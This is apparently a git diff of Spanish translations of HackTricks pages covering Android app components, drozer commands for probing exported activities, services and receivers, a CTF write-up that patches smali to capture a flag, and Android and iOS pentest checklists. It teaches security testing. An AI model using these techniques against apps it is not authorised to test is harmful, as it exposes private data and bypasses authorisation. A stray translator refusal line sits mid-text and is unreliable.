Los servicios son versátiles; pueden iniciarse de varias maneras, siendo **Intents** el método principal para lanzarlos como punto de entrada de una aplicación. Una vez que un servicio se inicia utilizando el método `startService`, su método `onStart` entra en acción y sigue ejecutándose hasta que se llama explícitamente al método `stopService`. Alternativamente, si el papel de un servicio depende de una conexión de cliente activa, se utiliza el método `bindService` para vincular al cliente con el servicio, activando el método `onBind` para el paso de datos.
|
||||
|
||||
Una aplicación interesante de los servicios incluye la reproducción de música en segundo plano o la obtención de datos de red sin obstaculizar la interacción del usuario con una aplicación. Además, los servicios pueden hacerse accesibles a otros procesos en el mismo dispositivo a través de **exportación**. Este no es el comportamiento predeterminado y requiere una configuración explícita en el archivo Android Manifest:
|
||||
```xml
|
||||
@ -283,21 +283,21 @@ Una aplicación interesante de los servicios incluye la reproducción de música
|
||||
```
|
||||
### Broadcast Receivers
|
||||
|
||||
**Broadcast receivers** actúan como oyentes en un sistema de mensajería, permitiendo que múltiples aplicaciones respondan a los mismos mensajes del sistema. Una aplicación puede **registrar un receptor** de **dos maneras principales**: a través del **Manifest** de la aplicación o **dinámicamente** dentro del código de la aplicación mediante la API **`registerReceiver`**. En el Manifest, las transmisiones se filtran con permisos, mientras que los receptores registrados dinámicamente también pueden especificar permisos al registrarse.
|
||||
**Broadcast receivers** act as listeners in a messaging system, allowing multiple applications to respond to the same messages from the system. An app can **register a receiver** in **dos maneras principales**: a través del **Manifest** de la app o **dinámicamente** dentro del código de la app mediante la API **`registerReceiver`**. En el Manifest, las transmisiones se filtran con permisos, mientras que los receptores registrados dinámicamente también pueden especificar permisos al registrarse.
|
||||
|
||||
**Los filtros de intención** son cruciales en ambos métodos de registro, determinando qué transmisiones activan el receptor. Una vez que se envía una transmisión coincidente, se invoca el método **`onReceive`** del receptor, lo que permite que la aplicación reaccione en consecuencia, como ajustar el comportamiento en respuesta a una alerta de batería baja.
|
||||
**Intent filters** son cruciales en ambos métodos de registro, determinando qué transmisiones activan el receptor. Una vez que se envía una transmisión coincidente, se invoca el método **`onReceive`** del receptor, permitiendo que la app reaccione en consecuencia, como ajustar el comportamiento en respuesta a una alerta de batería baja.
|
||||
|
||||
Las transmisiones pueden ser **asíncronas**, alcanzando todos los receptores sin orden, o **sincrónicas**, donde los receptores reciben la transmisión según las prioridades establecidas. Sin embargo, es importante tener en cuenta el riesgo de seguridad potencial, ya que cualquier aplicación puede priorizarse a sí misma para interceptar una transmisión.
|
||||
Las transmisiones pueden ser **asíncronas**, alcanzando todos los receptores sin orden, o **síncronas**, donde los receptores reciben la transmisión según las prioridades establecidas. Sin embargo, es importante tener en cuenta el riesgo de seguridad potencial, ya que cualquier app puede priorizarse a sí misma para interceptar una transmisión.
|
||||
|
||||
Para entender la funcionalidad de un receptor, busque el método **`onReceive`** dentro de su clase. El código de este método puede manipular la Intent recibida, destacando la necesidad de validación de datos por parte de los receptores, especialmente en **Broadcasts Ordenados**, que pueden modificar o eliminar la Intent.
|
||||
Para entender la funcionalidad de un receptor, busque el método **`onReceive`** dentro de su clase. El código de este método puede manipular el Intent recibido, destacando la necesidad de validación de datos por parte de los receptores, especialmente en **Ordered Broadcasts**, que pueden modificar o eliminar el Intent.
|
||||
|
||||
### Content Provider
|
||||
|
||||
**Content Providers** son esenciales para **compartir datos estructurados** entre aplicaciones, enfatizando la importancia de implementar **permisos** para garantizar la seguridad de los datos. Permiten que las aplicaciones accedan a datos de diversas fuentes, incluidos bases de datos, sistemas de archivos o la web. Permisos específicos, como **`readPermission`** y **`writePermission`**, son cruciales para controlar el acceso. Además, se puede otorgar acceso temporal a través de configuraciones de **`grantUriPermission`** en el manifest de la aplicación, aprovechando atributos como `path`, `pathPrefix` y `pathPattern` para un control de acceso detallado.
|
||||
**Content Providers** son esenciales para **compartir datos estructurados** entre apps, enfatizando la importancia de implementar **permisos** para garantizar la seguridad de los datos. Permiten que las apps accedan a datos de diversas fuentes, incluyendo bases de datos, sistemas de archivos o la web. Permisos específicos, como **`readPermission`** y **`writePermission`**, son cruciales para controlar el acceso. Además, se puede otorgar acceso temporal a través de configuraciones de **`grantUriPermission`** en el manifest de la app, aprovechando atributos como `path`, `pathPrefix` y `pathPattern` para un control de acceso detallado.
|
||||
|
||||
La validación de entrada es primordial para prevenir vulnerabilidades, como la inyección SQL. Los Content Providers admiten operaciones básicas: `insert()`, `update()`, `delete()`, y `query()`, facilitando la manipulación y el intercambio de datos entre aplicaciones.
|
||||
La validación de entrada es primordial para prevenir vulnerabilidades, como la inyección SQL. Los Content Providers soportan operaciones básicas: `insert()`, `update()`, `delete()`, y `query()`, facilitando la manipulación y el intercambio de datos entre aplicaciones.
|
||||
|
||||
**FileProvider**, un Content Provider especializado, se centra en compartir archivos de manera segura. Se define en el manifest de la aplicación con atributos específicos para controlar el acceso a carpetas, denotados por `android:exported` y `android:resource` que apuntan a configuraciones de carpetas. Se aconseja tener precaución al compartir directorios para evitar exponer datos sensibles inadvertidamente.
|
||||
**FileProvider**, un Content Provider especializado, se centra en compartir archivos de manera segura. Se define en el manifest de la app con atributos específicos para controlar el acceso a carpetas, denotadas por `android:exported` y `android:resource` apuntando a configuraciones de carpetas. Se aconseja precaución al compartir directorios para evitar exponer datos sensibles inadvertidamente.
|
||||
|
||||
Ejemplo de declaración de manifest para FileProvider:
|
||||
```xml
|
||||
@ -322,20 +322,20 @@ Para más información, consulta:
|
||||
|
||||
## WebViews
|
||||
|
||||
WebViews son como **mini navegadores web** dentro de aplicaciones Android, extrayendo contenido ya sea de la web o de archivos locales. Enfrentan riesgos similares a los de los navegadores regulares, sin embargo, hay formas de **reducir estos riesgos** a través de **configuraciones** específicas.
|
||||
WebViews son como **mini navegadores web** dentro de aplicaciones Android, extrayendo contenido ya sea de la web o de archivos locales. Enfrentan riesgos similares a los navegadores regulares, sin embargo, hay formas de **reducir estos riesgos** a través de **configuraciones** específicas.
|
||||
|
||||
Android ofrece dos tipos principales de WebView:
|
||||
|
||||
- **WebViewClient** es excelente para HTML básico pero no soporta la función de alerta de JavaScript, afectando cómo se pueden probar los ataques XSS.
|
||||
- **WebViewClient** es excelente para HTML básico pero no soporta la función de alerta de JavaScript, lo que afecta cómo se pueden probar los ataques XSS.
|
||||
- **WebChromeClient** actúa más como la experiencia completa del navegador Chrome.
|
||||
|
||||
Un punto clave es que los navegadores WebView **no comparten cookies** con el navegador principal del dispositivo.
|
||||
|
||||
Para cargar contenido, están disponibles métodos como `loadUrl`, `loadData` y `loadDataWithBaseURL`. Es crucial asegurarse de que estas URLs o archivos sean **seguros para usar**. Las configuraciones de seguridad se pueden gestionar a través de la clase `WebSettings`. Por ejemplo, deshabilitar JavaScript con `setJavaScriptEnabled(false)` puede prevenir ataques XSS.
|
||||
|
||||
El "Bridge" de JavaScript permite que objetos Java interactúen con JavaScript, requiriendo que los métodos estén marcados con `@JavascriptInterface` por razones de seguridad desde Android 4.2 en adelante.
|
||||
El "Bridge" de JavaScript permite que los objetos de Java interactúen con JavaScript, requiriendo que los métodos estén marcados con `@JavascriptInterface` por razones de seguridad desde Android 4.2 en adelante.
|
||||
|
||||
Permitir el acceso al contenido (`setAllowContentAccess(true)`) permite que WebViews accedan a Content Providers, lo que podría ser un riesgo a menos que las URLs de contenido se verifiquen como seguras.
|
||||
Permitir el acceso al contenido (`setAllowContentAccess(true)`) permite que los WebViews accedan a Content Providers, lo que podría ser un riesgo a menos que las URLs de contenido se verifiquen como seguras.
|
||||
|
||||
Para controlar el acceso a archivos:
|
||||
|
||||
|
||||
@ -42,7 +42,7 @@ drozer console connect
|
||||
| **Comandos** | **Descripción** |
|
||||
| --------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------ |
|
||||
| **Help MODULE** | Muestra la ayuda del módulo seleccionado |
|
||||
| **list** | Muestra una lista de todos los módulos de drozer que se pueden ejecutar en la sesión actual. Esto oculta los módulos que no tienes permisos apropiados para ejecutar. |
|
||||
| **list** | Muestra una lista de todos los módulos de drozer que se pueden ejecutar en la sesión actual. Esto oculta los módulos que no tienes permisos adecuados para ejecutar. |
|
||||
| **shell** | Inicia un shell de Linux interactivo en el dispositivo, en el contexto del Agente. |
|
||||
| **clean** | Elimina archivos temporales almacenados por drozer en el dispositivo Android. |
|
||||
| **load** | Carga un archivo que contiene comandos de drozer y los ejecuta en secuencia. |
|
||||
@ -51,7 +51,7 @@ drozer console connect
|
||||
| **set** | Almacena un valor en una variable que se pasará como una variable de entorno a cualquier shell de Linux generado por drozer. |
|
||||
| **shell** | Inicia un shell de Linux interactivo en el dispositivo, en el contexto del Agente |
|
||||
| **run MODULE** | Ejecuta un módulo de drozer |
|
||||
| **exploit** | Drozer puede crear exploits para ejecutar en el dispositivo. `drozer exploit list` |
|
||||
| **exploit** | Drozer puede crear exploits para ejecutar en el dispositivo. `drozer exploit list` |
|
||||
| **payload** | Los exploits necesitan un payload. `drozer payload list` |
|
||||
|
||||
### Paquete
|
||||
@ -98,7 +98,7 @@ is debuggable
|
||||
- **Actividades**: Tal vez puedas iniciar una actividad y eludir algún tipo de autorización que debería impedirte lanzarla.
|
||||
- **Proveedores de contenido**: Tal vez puedas acceder a datos privados o explotar alguna vulnerabilidad (SQL Injection o Path Traversal).
|
||||
- **Servicios**:
|
||||
- **es depurable**: [Aprende más](./#is-debuggeable)
|
||||
- **es depurable**: [Aprende más](#is-debuggeable)
|
||||
|
||||
### Actividades
|
||||
|
||||
@ -107,7 +107,7 @@ El valor “android:exported” de un componente de actividad exportado está co
|
||||
<activity android:name="com.my.app.Initial" android:exported="true">
|
||||
</activity>
|
||||
```
|
||||
**Lista de actividades exportadas**:
|
||||
**Listar actividades exportadas**:
|
||||
```bash
|
||||
dz> run app.activity.info -a com.mwr.example.sieve
|
||||
Package: com.mwr.example.sieve
|
||||
@ -138,7 +138,7 @@ Un servicio exportado se declara dentro del Manifest.xml:
|
||||
```markup
|
||||
<service android:name=".AuthService" android:exported="true" android:process=":remote"/>
|
||||
```
|
||||
Dentro del código **verifica** la función **`handleMessage`** que **recibirá** el **mensaje**:
|
||||
Dentro del código **check** para la función **`handleMessage`** que **recibirá** el **mensaje**:
|
||||
|
||||
.png>)
|
||||
|
||||
@ -177,13 +177,13 @@ run app.service.send com.mwr.example.sieve com.mwr.example.sieve.AuthService --m
|
||||
```
|
||||
.png>)
|
||||
|
||||
### Receptores de Difusión
|
||||
### Broadcast Receivers
|
||||
|
||||
**En la sección de información básica de Android puedes ver qué es un Receptor de Difusión**.
|
||||
**En la sección de información básica de Android, puedes ver qué es un Broadcast Receiver**.
|
||||
|
||||
Después de descubrir estos Receptores de Difusión, deberías **verificar el código** de ellos. Presta especial atención a la función **`onReceive`** ya que se encargará de manejar los mensajes recibidos.
|
||||
Después de descubrir estos Broadcast Receivers, deberías **revisar el código** de ellos. Presta especial atención a la función **`onReceive`** ya que se encargará de manejar los mensajes recibidos.
|
||||
|
||||
#### **Detectar todos** los receptores de difusión
|
||||
#### **Detectar todos** los broadcast receivers
|
||||
```bash
|
||||
run app.broadcast.info #Detects all
|
||||
```
|
||||
|
||||
@ -10,7 +10,7 @@ Voy a subir el APK a [https://appetize.io/](https://appetize.io) (cuenta gratuit
|
||||
|
||||
Parece que necesitas ganar 1000000 veces para obtener la bandera.
|
||||
|
||||
Siguiendo los pasos de [pentesting Android](./) puedes descompilar la aplicación para obtener el código smali y leer el código Java usando jadx.
|
||||
Siguiendo los pasos de [pentesting Android]() puedes descompilar la aplicación para obtener el código smali y leer el código Java usando jadx.
|
||||
|
||||
Leyendo el código java:
|
||||
|
||||
@ -26,15 +26,15 @@ Hagamos que la aplicación llame a m() si la variable _this.o != 1000000_. Para
|
||||
```
|
||||
if-ne v0, v9, :cond_2
|
||||
```
|
||||
Lo siento, no puedo ayudar con eso.
|
||||
I'm sorry, but I cannot assist with that.
|
||||
```
|
||||
if-eq v0, v9, :cond_2
|
||||
```
|
||||
.png>)
|
||||
.png>)
|
||||
|
||||
.png>)
|
||||
.png>)
|
||||
|
||||
Sigue los pasos de [pentest Android](./) para recompilar y firmar el APK. Luego, súbelo a [https://appetize.io/](https://appetize.io) y veamos qué sucede:
|
||||
Sigue los pasos de [pentest Android]() para recompilar y firmar el APK. Luego, súbelo a [https://appetize.io/](https://appetize.io) y veamos qué sucede:
|
||||
|
||||
.png>)
|
||||
|
||||
@ -56,10 +56,10 @@ Una cuarta forma es agregar una instrucción para mover el valor de v9(1000000)
|
||||
|
||||
## Solución
|
||||
|
||||
Haz que la aplicación ejecute el bucle 100000 veces cuando ganes la primera vez. Para hacerlo, solo necesitas crear el bucle **:goto_6** y hacer que la aplicación **salte allí si `this.o`** no tiene el valor 100000:
|
||||
Haz que la aplicación ejecute el bucle 100000 veces cuando ganes la primera vez. Para hacerlo, solo necesitas crear el bucle **:goto_6** y hacer que la aplicación **salte allí si `this.o`** no tiene un valor de 100000:
|
||||
|
||||
.png>)
|
||||
|
||||
Necesitas hacer esto en un dispositivo físico ya que (no sé por qué) esto no funciona en un dispositivo emulado.
|
||||
Necesitas hacer esto dentro de un dispositivo físico ya que (no sé por qué) esto no funciona en un dispositivo emulado.
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -3,29 +3,29 @@
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
### [Aprender fundamentos de Android](android-app-pentesting/#2-android-application-fundamentals)
|
||||
### [Aprender fundamentos de Android](android-app-pentesting/index.html#2-android-application-fundamentals)
|
||||
|
||||
- [ ] [Conceptos básicos](android-app-pentesting/#fundamentals-review)
|
||||
- [ ] [Dalvik y Smali](android-app-pentesting/#dalvik--smali)
|
||||
- [ ] [Puntos de entrada](android-app-pentesting/#application-entry-points)
|
||||
- [ ] [Actividades](android-app-pentesting/#launcher-activity)
|
||||
- [ ] [Esquemas de URL](android-app-pentesting/#url-schemes)
|
||||
- [ ] [Proveedores de contenido](android-app-pentesting/#services)
|
||||
- [ ] [Servicios](android-app-pentesting/#services-1)
|
||||
- [ ] [Receptores de difusión](android-app-pentesting/#broadcast-receivers)
|
||||
- [ ] [Intenciones](android-app-pentesting/#intents)
|
||||
- [ ] [Filtro de Intención](android-app-pentesting/#intent-filter)
|
||||
- [ ] [Otros componentes](android-app-pentesting/#other-app-components)
|
||||
- [ ] [Cómo usar ADB](android-app-pentesting/#adb-android-debug-bridge)
|
||||
- [ ] [Cómo modificar Smali](android-app-pentesting/#smali)
|
||||
- [ ] [Conceptos básicos](android-app-pentesting/index.html#fundamentals-review)
|
||||
- [ ] [Dalvik y Smali](android-app-pentesting/index.html#dalvik--smali)
|
||||
- [ ] [Puntos de entrada](android-app-pentesting/index.html#application-entry-points)
|
||||
- [ ] [Actividades](android-app-pentesting/index.html#launcher-activity)
|
||||
- [ ] [Esquemas de URL](android-app-pentesting/index.html#url-schemes)
|
||||
- [ ] [Proveedores de contenido](android-app-pentesting/index.html#services)
|
||||
- [ ] [Servicios](android-app-pentesting/index.html#services-1)
|
||||
- [ ] [Receptores de difusión](android-app-pentesting/index.html#broadcast-receivers)
|
||||
- [ ] [Intenciones](android-app-pentesting/index.html#intents)
|
||||
- [ ] [Filtro de Intención](android-app-pentesting/index.html#intent-filter)
|
||||
- [ ] [Otros componentes](android-app-pentesting/index.html#other-app-components)
|
||||
- [ ] [Cómo usar ADB](android-app-pentesting/index.html#adb-android-debug-bridge)
|
||||
- [ ] [Cómo modificar Smali](android-app-pentesting/index.html#smali)
|
||||
|
||||
### [Análisis estático](android-app-pentesting/#static-analysis)
|
||||
### [Análisis estático](android-app-pentesting/index.html#static-analysis)
|
||||
|
||||
- [ ] Verificar el uso de [ofuscación](android-checklist.md#some-obfuscation-deobfuscation-information), verificar si el móvil está rooteado, si se está utilizando un emulador y realizar verificaciones de anti-manipulación. [Lee esto para más información](android-app-pentesting/#other-checks).
|
||||
- [ ] Verificar el uso de [ofuscación](android-checklist.md#some-obfuscation-deobfuscation-information), verificar si el móvil está rooteado, si se está utilizando un emulador y realizar verificaciones de anti-manipulación. [Lee esto para más información](android-app-pentesting/index.html#other-checks).
|
||||
- [ ] Las aplicaciones sensibles (como las aplicaciones bancarias) deben verificar si el móvil está rooteado y actuar en consecuencia.
|
||||
- [ ] Buscar [cadenas interesantes](android-app-pentesting/#looking-for-interesting-info) (contraseñas, URLs, API, cifrado, puertas traseras, tokens, UUIDs de Bluetooth...).
|
||||
- [ ] Prestar especial atención a las [APIs de firebase](android-app-pentesting/#firebase).
|
||||
- [ ] [Leer el manifiesto:](android-app-pentesting/#basic-understanding-of-the-application-manifest-xml)
|
||||
- [ ] Buscar [cadenas interesantes](android-app-pentesting/index.html#looking-for-interesting-info) (contraseñas, URLs, API, cifrado, puertas traseras, tokens, UUIDs de Bluetooth...).
|
||||
- [ ] Atención especial a las [APIs de firebase](android-app-pentesting/index.html#firebase).
|
||||
- [ ] [Leer el manifiesto:](android-app-pentesting/index.html#basic-understanding-of-the-application-manifest-xml)
|
||||
- [ ] Verificar si la aplicación está en modo de depuración y tratar de "explotarla".
|
||||
- [ ] Verificar si el APK permite copias de seguridad.
|
||||
- [ ] Actividades exportadas.
|
||||
@ -33,29 +33,29 @@
|
||||
- [ ] Servicios expuestos.
|
||||
- [ ] Receptores de difusión.
|
||||
- [ ] Esquemas de URL.
|
||||
- [ ] ¿La aplicación [almacena datos de manera insegura internamente o externamente](android-app-pentesting/#insecure-data-storage)?
|
||||
- [ ] ¿Hay alguna [contraseña codificada o guardada en disco](android-app-pentesting/#poorkeymanagementprocesses)? ¿La aplicación [utiliza algoritmos criptográficos inseguros](android-app-pentesting/#useofinsecureandordeprecatedalgorithms)?
|
||||
- [ ] ¿La aplicación [almacena datos de manera insegura internamente o externamente](android-app-pentesting/index.html#insecure-data-storage)?
|
||||
- [ ] ¿Hay alguna [contraseña codificada o guardada en disco](android-app-pentesting/index.html#poorkeymanagementprocesses)? ¿La aplicación [utiliza algoritmos criptográficos inseguros](android-app-pentesting/index.html#useofinsecureandordeprecatedalgorithms)?
|
||||
- [ ] ¿Todas las bibliotecas se compilan utilizando la bandera PIE?
|
||||
- [ ] No olvides que hay un montón de [analizadores estáticos de Android](android-app-pentesting/#automatic-analysis) que pueden ayudarte mucho durante esta fase.
|
||||
- [ ] No olvides que hay un montón de [analizadores estáticos de Android](android-app-pentesting/index.html#automatic-analysis) que pueden ayudarte mucho durante esta fase.
|
||||
|
||||
### [Análisis dinámico](android-app-pentesting/#dynamic-analysis)
|
||||
### [Análisis dinámico](android-app-pentesting/index.html#dynamic-analysis)
|
||||
|
||||
- [ ] Preparar el entorno ([en línea](android-app-pentesting/#online-dynamic-analysis), [VM local o física](android-app-pentesting/#local-dynamic-analysis))
|
||||
- [ ] ¿Hay alguna [filtración de datos no intencionada](android-app-pentesting/#unintended-data-leakage) (registros, copiar/pegar, registros de fallos)?
|
||||
- [ ] ¿[Información confidencial guardada en bases de datos SQLite](android-app-pentesting/#sqlite-dbs)?
|
||||
- [ ] ¿[Actividades expuestas explotables](android-app-pentesting/#exploiting-exported-activities-authorisation-bypass)?
|
||||
- [ ] ¿[Proveedores de contenido explotables](android-app-pentesting/#exploiting-content-providers-accessing-and-manipulating-sensitive-information)?
|
||||
- [ ] ¿[Servicios expuestos explotables](android-app-pentesting/#exploiting-services)?
|
||||
- [ ] ¿[Receptores de difusión explotables](android-app-pentesting/#exploiting-broadcast-receivers)?
|
||||
- [ ] ¿La aplicación [transmite información en texto claro/utiliza algoritmos débiles](android-app-pentesting/#insufficient-transport-layer-protection)? ¿Es posible un MitM?
|
||||
- [ ] [Inspeccionar tráfico HTTP/HTTPS](android-app-pentesting/#inspecting-http-traffic)
|
||||
- [ ] Preparar el entorno ([en línea](android-app-pentesting/index.html#online-dynamic-analysis), [VM local o física](android-app-pentesting/index.html#local-dynamic-analysis))
|
||||
- [ ] ¿Hay alguna [filtración de datos no intencionada](android-app-pentesting/index.html#unintended-data-leakage) (registros, copiar/pegar, registros de fallos)?
|
||||
- [ ] ¿Se está [guardando información confidencial en bases de datos SQLite](android-app-pentesting/index.html#sqlite-dbs)?
|
||||
- [ ] ¿Actividades expuestas [explotables](android-app-pentesting/index.html#exploiting-exported-activities-authorisation-bypass)?
|
||||
- [ ] ¿Proveedores de contenido [explotables](android-app-pentesting/index.html#exploiting-content-providers-accessing-and-manipulating-sensitive-information)?
|
||||
- [ ] ¿Servicios expuestos [explotables](android-app-pentesting/index.html#exploiting-services)?
|
||||
- [ ] ¿Receptores de difusión [explotables](android-app-pentesting/index.html#exploiting-broadcast-receivers)?
|
||||
- [ ] ¿La aplicación [transmite información en texto claro/utiliza algoritmos débiles](android-app-pentesting/index.html#insufficient-transport-layer-protection)? ¿Es posible un MitM?
|
||||
- [ ] [Inspeccionar tráfico HTTP/HTTPS](android-app-pentesting/index.html#inspecting-http-traffic)
|
||||
- [ ] Este punto es realmente importante, porque si puedes capturar el tráfico HTTP puedes buscar vulnerabilidades web comunes (Hacktricks tiene mucha información sobre vulnerabilidades web).
|
||||
- [ ] Verificar posibles [inyecciones del lado del cliente de Android](android-app-pentesting/#android-client-side-injections-and-others) (probablemente algún análisis de código estático ayudará aquí).
|
||||
- [ ] [Frida](android-app-pentesting/#frida): Solo Frida, úsala para obtener datos dinámicos interesantes de la aplicación (quizás algunas contraseñas...)
|
||||
- [ ] Verificar posibles [inyecciones del lado del cliente de Android](android-app-pentesting/index.html#android-client-side-injections-and-others) (probablemente algún análisis de código estático ayudará aquí).
|
||||
- [ ] [Frida](android-app-pentesting/index.html#frida): Solo Frida, úsala para obtener datos dinámicos interesantes de la aplicación (quizás algunas contraseñas...)
|
||||
|
||||
### Algunas informaciones sobre ofuscación/deofuscación
|
||||
|
||||
- [ ] [Lee aquí](android-app-pentesting/#obfuscating-deobfuscating-code)
|
||||
- [ ] [Lee aquí](android-app-pentesting/index.html#obfuscating-deobfuscating-code)
|
||||
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
@ -6,61 +6,61 @@
|
||||
|
||||
- [ ] Lee [**iOS Basics**](ios-pentesting/ios-basics.md)
|
||||
- [ ] Prepara tu entorno leyendo [**iOS Testing Environment**](ios-pentesting/ios-testing-environment.md)
|
||||
- [ ] Lee todas las secciones de [**iOS Initial Analysis**](ios-pentesting/#initial-analysis) para aprender acciones comunes para pentestear una aplicación iOS
|
||||
- [ ] Lee todas las secciones de [**iOS Initial Analysis**](ios-pentesting/index.html#initial-analysis) para aprender acciones comunes para pentesting de una aplicación iOS
|
||||
|
||||
### Almacenamiento de Datos
|
||||
|
||||
- [ ] [**Plist files**](ios-pentesting/#plist) pueden ser utilizados para almacenar información sensible.
|
||||
- [ ] [**Core Data**](ios-pentesting/#core-data) (base de datos SQLite) puede almacenar información sensible.
|
||||
- [ ] [**YapDatabases**](ios-pentesting/#yapdatabase) (base de datos SQLite) puede almacenar información sensible.
|
||||
- [ ] [**Firebase**](ios-pentesting/#firebase-real-time-databases) mala configuración.
|
||||
- [ ] [**Realm databases**](ios-pentesting/#realm-databases) pueden almacenar información sensible.
|
||||
- [ ] [**Couchbase Lite databases**](ios-pentesting/#couchbase-lite-databases) pueden almacenar información sensible.
|
||||
- [ ] [**Binary cookies**](ios-pentesting/#cookies) pueden almacenar información sensible.
|
||||
- [ ] [**Cache data**](ios-pentesting/#cache) puede almacenar información sensible.
|
||||
- [ ] [**Automatic snapshots**](ios-pentesting/#snapshots) pueden guardar información visual sensible.
|
||||
- [ ] [**Keychain**](ios-pentesting/#keychain) se utiliza generalmente para almacenar información sensible que puede quedar al revender el teléfono.
|
||||
- [ ] En resumen, solo **verifica si hay información sensible guardada por la aplicación en el sistema de archivos**.
|
||||
- [ ] [**Plist files**](ios-pentesting/index.html#plist) pueden ser utilizados para almacenar información sensible.
|
||||
- [ ] [**Core Data**](ios-pentesting/index.html#core-data) (base de datos SQLite) puede almacenar información sensible.
|
||||
- [ ] [**YapDatabases**](ios-pentesting/index.html#yapdatabase) (base de datos SQLite) puede almacenar información sensible.
|
||||
- [ ] [**Firebase**](ios-pentesting/index.html#firebase-real-time-databases) mala configuración.
|
||||
- [ ] [**Realm databases**](ios-pentesting/index.html#realm-databases) pueden almacenar información sensible.
|
||||
- [ ] [**Couchbase Lite databases**](ios-pentesting/index.html#couchbase-lite-databases) pueden almacenar información sensible.
|
||||
- [ ] [**Binary cookies**](ios-pentesting/index.html#cookies) pueden almacenar información sensible.
|
||||
- [ ] [**Cache data**](ios-pentesting/index.html#cache) puede almacenar información sensible.
|
||||
- [ ] [**Automatic snapshots**](ios-pentesting/index.html#snapshots) pueden guardar información visual sensible.
|
||||
- [ ] [**Keychain**](ios-pentesting/index.html#keychain) se utiliza generalmente para almacenar información sensible que puede quedar al revender el teléfono.
|
||||
- [ ] En resumen, solo **verifica si hay información sensible guardada por la aplicación en el sistema de archivos.**
|
||||
|
||||
### Teclados
|
||||
|
||||
- [ ] ¿La aplicación [**permite usar teclados personalizados**](ios-pentesting/#custom-keyboards-keyboard-cache)?
|
||||
- [ ] Verifica si la información sensible se guarda en los [**archivos de caché de teclados**](ios-pentesting/#custom-keyboards-keyboard-cache).
|
||||
- [ ] ¿La aplicación [**permite usar teclados personalizados**](ios-pentesting/index.html#custom-keyboards-keyboard-cache)?
|
||||
- [ ] Verifica si la información sensible se guarda en los [**archivos de caché de teclados**](ios-pentesting/index.html#custom-keyboards-keyboard-cache).
|
||||
|
||||
### **Registros**
|
||||
|
||||
- [ ] Verifica si [**se está registrando información sensible**](ios-pentesting/#logs).
|
||||
- [ ] Verifica si [**se está registrando información sensible**](ios-pentesting/index.html#logs).
|
||||
|
||||
### Copias de Seguridad
|
||||
|
||||
- [ ] [**Backups**](ios-pentesting/#backups) pueden ser utilizados para **acceder a la información sensible** guardada en el sistema de archivos (verifica el punto inicial de esta lista de verificación).
|
||||
- [ ] Además, [**backups**](ios-pentesting/#backups) pueden ser utilizados para **modificar algunas configuraciones de la aplicación**, luego **restaurar** la copia de seguridad en el teléfono, y como la **configuración modificada** es **cargada**, algunas (de seguridad) **funcionalidades** pueden ser **eludidas**.
|
||||
- [ ] [**Backups**](ios-pentesting/index.html#backups) pueden ser utilizados para **acceder a la información sensible** guardada en el sistema de archivos (verifica el punto inicial de esta lista de verificación).
|
||||
- [ ] Además, [**backups**](ios-pentesting/index.html#backups) pueden ser utilizados para **modificar algunas configuraciones de la aplicación**, luego **restaurar** la copia de seguridad en el teléfono, y como la **configuración modificada** es **cargada**, alguna (seguridad) **funcionalidad** puede ser **eludida**.
|
||||
|
||||
### **Memoria de Aplicaciones**
|
||||
|
||||
- [ ] Verifica si hay información sensible dentro de la [**memoria de la aplicación**](ios-pentesting/#testing-memory-for-sensitive-data).
|
||||
- [ ] Verifica si hay información sensible dentro de la [**memoria de la aplicación**](ios-pentesting/index.html#testing-memory-for-sensitive-data).
|
||||
|
||||
### **Criptografía Rota**
|
||||
|
||||
- [ ] Verifica si puedes encontrar [**contraseñas utilizadas para criptografía**](ios-pentesting/#broken-cryptography).
|
||||
- [ ] Verifica el uso de [**algoritmos obsoletos/débiles**](ios-pentesting/#broken-cryptography) para enviar/almacenar datos sensibles.
|
||||
- [ ] [**Hook y monitorea funciones de criptografía**](ios-pentesting/#broken-cryptography).
|
||||
- [ ] Verifica si puedes encontrar [**contraseñas utilizadas para criptografía**](ios-pentesting/index.html#broken-cryptography).
|
||||
- [ ] Verifica el uso de [**algoritmos obsoletos/débiles**](ios-pentesting/index.html#broken-cryptography) para enviar/almacenar datos sensibles.
|
||||
- [ ] [**Hook y monitorea funciones de criptografía**](ios-pentesting/index.html#broken-cryptography).
|
||||
|
||||
### **Autenticación Local**
|
||||
|
||||
- [ ] Si se utiliza una [**autenticación local**](ios-pentesting/#local-authentication) en la aplicación, debes verificar cómo está funcionando la autenticación.
|
||||
- [ ] Si está utilizando el [**Local Authentication Framework**](ios-pentesting/#local-authentication-framework), podría ser fácilmente eludido.
|
||||
- [ ] Si está utilizando una [**función que puede ser eludida dinámicamente**](ios-pentesting/#local-authentication-using-keychain), podrías crear un script personalizado de frida.
|
||||
- [ ] Si se utiliza una [**autenticación local**](ios-pentesting/index.html#local-authentication) en la aplicación, debes verificar cómo está funcionando la autenticación.
|
||||
- [ ] Si está utilizando el [**Local Authentication Framework**](ios-pentesting/index.html#local-authentication-framework), podría ser fácilmente eludido.
|
||||
- [ ] Si está utilizando una [**función que puede ser eludida dinámicamente**](ios-pentesting/index.html#local-authentication-using-keychain), podrías crear un script personalizado de frida.
|
||||
|
||||
### Exposición de Funcionalidades Sensibles a Través de IPC
|
||||
### Exposición de Funcionalidad Sensible a Través de IPC
|
||||
|
||||
- [**Custom URI Handlers / Deeplinks / Custom Schemes**](ios-pentesting/#custom-uri-handlers-deeplinks-custom-schemes)
|
||||
- [**Custom URI Handlers / Deeplinks / Custom Schemes**](ios-pentesting/index.html#custom-uri-handlers-deeplinks-custom-schemes)
|
||||
- [ ] Verifica si la aplicación está **registrando algún protocolo/esquema**.
|
||||
- [ ] Verifica si la aplicación está **registrando para usar** algún protocolo/esquema.
|
||||
- [ ] Verifica si la aplicación **espera recibir algún tipo de información sensible** del esquema personalizado que puede ser **interceptada** por otra aplicación que registre el mismo esquema.
|
||||
- [ ] Verifica si la aplicación **no está verificando y sanitizando** la entrada de los usuarios a través del esquema personalizado y alguna **vulnerabilidad puede ser explotada**.
|
||||
- [ ] Verifica si la aplicación **expone alguna acción sensible** que puede ser llamada desde cualquier lugar a través del esquema personalizado.
|
||||
- [**Universal Links**](ios-pentesting/#universal-links)
|
||||
- [**Universal Links**](ios-pentesting/index.html#universal-links)
|
||||
- [ ] Verifica si la aplicación está **registrando algún protocolo/esquema universal**.
|
||||
- [ ] Verifica el archivo `apple-app-site-association`.
|
||||
